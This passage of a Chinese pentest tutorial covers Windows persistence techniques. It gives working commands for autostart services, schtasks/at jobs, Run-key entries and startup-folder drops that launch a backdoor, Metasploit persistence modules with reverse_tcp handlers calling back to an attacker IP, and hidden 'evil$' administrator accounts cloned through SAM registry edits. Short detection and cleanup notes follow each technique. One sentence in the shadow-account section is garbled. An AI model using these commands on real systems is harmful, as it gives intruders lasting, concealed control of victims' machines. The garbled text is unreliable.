2.3.2 MSF
使用以下命令调用 persistence_service 模块
`use exploit/windows/local/persistence_service# 此模块不支持 windows/x64/meterpreter/reverse_tcp,注意在监听的时候要选择 windows/meterpreter/reverse_tcpset payload windows/meterpreter/reverse_tcprun`
执行完以后便会在目标系统中生成一个自启动服务
MSF 建立监听,目标服务器启动时便可收到 shell
MSF 建立监听,目标服务器用户重新登录时便可收到 shell
`use exploit/multi/handler# 这里只能用 x32 的 payloadset payload windows/meterpreter/reverse_tcpset lhost 192.168.26.129run`
2.4 检测及清除
手动查看服务中是否有可疑服务,也可以利用 AutoRuns 软件来排查。
2.5 参考
2种方法教你,如何将exe注册为windows服务,直接从后台运行
第6篇:三大渗透测试框架权限维持技术
0x03 定时任务
3.1 简介
Windows 实现计划任务主要有 at 与 schtasks 两种方式,通过计划任务可以定时启动后门程序
at 适用于windows 2000、2003、xp,schtasks适用于windows >= 2003
3.2 at
3.2.1 实验环境
- Windows Server 2003 Enterprise x64 Edition
3.2.2 利用方法
打开 cmd,用 at 命令创建一项计划任务
`# 每天的16:34启动后门程序at 16:34 /every:M,T,W,Th,F,S,Su C:\ZhiArchive\backdoor.exe`
成功上线 cs
3.3 schtasks
3.3.1 实验环境
- Windows 7 x64
3.3.2 利用方法
打开 cmd,用 schtasks 命令创建一项计划任务
`schtasks /Create /TN badcode /SC DAILY /ST 16:49 /TR "C:\Users\admin\Documents\backdoor.exe"`
成功上线 cs
3.2.3 检测及清除
3.2.3.1 Windows Server 2003
在C:\WINDOWS\Tasks目录排查可疑的定时任务文件
在日志C:\WINDOWS\Tasks\SchedLgU.txt中排查可疑的定时任务记录
3.2.3.2 Windows 7
在任务计划程序中排查可疑的定时任务
也可以使用 autoruns 来排查计划任务
3.4 踩坑记录
3.4.1
无论是 at 还是 sc,后门程序目录不能有空格,否则无法正常运行,例如
`# 可以运行C:\Users\admin\Documents\backdoor.exe# 不能运行C:\Users\admin\Documents\a b\backdoor.exe`
3.5 参考
内网渗透–本机提权
从administrator到system权限的几种方式
0x04 启动项
4.1 简介
利用 windows 开机启动项实现权限的维持,每次系统启动都可实现后门的执行,很不错的权限维持的方式
4.2 实验环境
- Windows 7 x64
4.3 利用方法
4.3.1 开始菜单启动项
`# 当前用户目录%HOMEPATH%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup# 系统目录(需要管理员权限)C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp`
将后门程序放到上面的用户目录中,目标用户重新登录时便会启动后门程序。
成功上线 cs
4.3.2 注册表启动项
4.3.2.1 手动
`# 当前用户键值HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce# 服务器键值(需要管理员权限)HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce`
RunOnce 注册键:用户登录时,所有程序按顺序自动执行,在 Run 启动项之前执行,但只能运行一次,执行完毕后会自动删除
`# 添加注册表REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "backdoor" /t REG_SZ /F /D "C:\Users\admin\Documents\backdoor.exe"`
用户重新登录时,便会启动后门程序
成功上线 cs
4.3.2.2 MSF
使用以下命令调用 persistence 模块
`use exploit/windows/local/persistenceset payload windows/x64/meterpreter/reverse_tcp# 选择 meterpreter shellset session 2# 如果我们获得的是 SYSTEM 权限,可以更改 STARTUP 参数,将启动项写入系统中,也就是 HKLM\Software\Microsoft\Windows\CurrentVersion\Run,默认是写入 HKCU\Software\Microsoft\Windows\CurrentVersion\Runset STARTUP SYSTEMrun`
执行以后便会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下生成启动项
MSF 建立监听,目标服务器用户重新登录时便可收到 shell
`use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset lhost 192.168.26.129run`
4.4 检测及清除
在%HOMEPATH%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup目录下排查可疑启动项
在以下注册表排查可疑启动项
`HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnceHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce`
也可以利用 AutoRuns 软件来排查。
4.5 参考
ATT&CK 之后门持久化
第6篇:三大渗透测试框架权限维持技术
0x05 影子账户
5.1 简介
影子账户,顾名思义就像影子一样,跟主体是一模一样的,通过建立影子账户,可以获得跟管理员一样的权限,它无法通过普通命令进行查询,只能在注册表中找到其详细信息。
5.2 实验环境
- Windows 7 x64
5.3 利用方法
先用以下命令创建一个隐藏用户,并把它添加到管理员组
`net user evil$ Abcd1234 /addnet localgroup administrators evil$ /add`
在用户名后面加了 $ 之后,使用net user命令就无法看到此隐藏用户
但是在控制面板和登录界面都是可以看到的
所以,我们还需要在注册表中进行一些操作,需要更改的注册表键值为HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users,默认情况下,HEKY_LOCAL_MACHINE\SAM\SAM的内容只有system用户才能查看和修改,所以,我们要赋予当前用户完全控制的权限
我们需要选择一个克隆对象(这里有个坑,见踩坑记录5.1),然后获取它的 F 值,如图所示,我们需要将000003E8导出,导出文件暂且命名为 1.reg
以同样的操作,导出 evil$ 用户和它的 F 值,000003F4暂且命名为 2.reg,evil 暂且命名为 3. r e g ,导出完成以后使用命令 n e t u s e r e v i l 暂且命名为 3.reg,导出完成以后使用命令net user evil 暂且命名为3.reg,导出完成以后使用命令netuserevil /del删除 evil$ 用户
然后将 2.reg 的 F 值替换为 1.reg 的F值,即将 evil$ 用户的 F 值替换为 admin 用户的 F 值
替换完成以后,可以用下面的命令导入注册表
`regedit /s 2.regregedit /s 3.reg`
查看效果,现在使用net user命令和控制面板均看不到 evil$ 用户
登录界面同样也没有
远程登录,查看我们的身份,就是克隆对象的身份
5.4 检测及清除
查看注册表HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names中是否有多余的用户,将 Names 中的用户以及它对应的类型删除即可
5.5 踩坑记录
5.5.1
选择克隆对象时,一定要注意选择的账户是否被禁用,是否支持远程登录,我的实验环境没有启用 administrator 账户,一开始我克隆的是 administrator,远程登录的时候便报了下面的错
5.6 参考
写在最后
在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。
需要完整版PDF学习资源私我